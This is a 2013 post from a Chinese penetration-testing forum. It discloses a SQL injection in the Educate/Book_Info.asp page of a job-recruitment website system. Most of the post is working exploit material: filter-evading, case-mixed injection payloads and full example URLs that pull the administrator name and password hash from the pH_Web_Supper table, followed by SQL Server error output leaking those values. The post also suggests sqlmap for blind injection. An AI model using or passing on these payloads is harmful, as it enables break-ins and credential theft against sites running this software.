中国网络渗透测试联盟
标题:
网络求职招聘人才网站系统正式版注入
[打印本页]
作者:
admin
时间:
2013-2-16 21:44
标题:
网络求职招聘人才网站系统正式版注入
漏洞出现在Educate/Book_Info.asp
% j- c6 _! b; p- z* \# ?4 E
1 A T! D: q* s7 w( \; ?* K$ i
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
: R0 R' m& I" E. o& N4 S Z
3 q! K. [7 b2 h& V7 b' I/ T$ r* q
exp：如下
) e8 A7 ?* S8 G& P: e+ X4 v
查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
9 S; Z8 [% Q; e- X/ f5 k6 k4 d
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
" ~9 {9 q1 V) C" i7 j. b, K* l4 {
: u: H9 `% [% d0 ~" d: b
http://www.xxx.com
/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
$ q# [/ I$ c: a2 h: z! X; B
# p* N. `8 Y, r0 P% @+ m, T
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
' _8 u9 L9 n ]+ U2 {$ T5 z8 J
; q/ s B9 X7 }7 a' W9 m& F
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
% X% o6 I, T- K+ d9 B+ c" T
3 `. q8 H0 R: n
/Educate/Book_Info.asp，行 8
3 ~! H# ], Q; q" q2 N- q
5 x1 b& j! B; Y! F6 n
http://www.xxx.com
/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
) ^0 m1 s" [6 P/ d4 R' c/ s: b
6 O- J- h8 j) E7 D6 F$ D
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
& ^* L0 o# u% K% l3 B% ` G& E Y4 O
' }7 D6 b A ?* `% V' w* _: v, H2 E
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
+ r! @7 T2 c3 k" v+ A
& e3 |" ^- ]( C/ N) |" Y
/Educate/Book_Info.asp，行 8
* E! q2 z/ n7 u4 V6 Y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2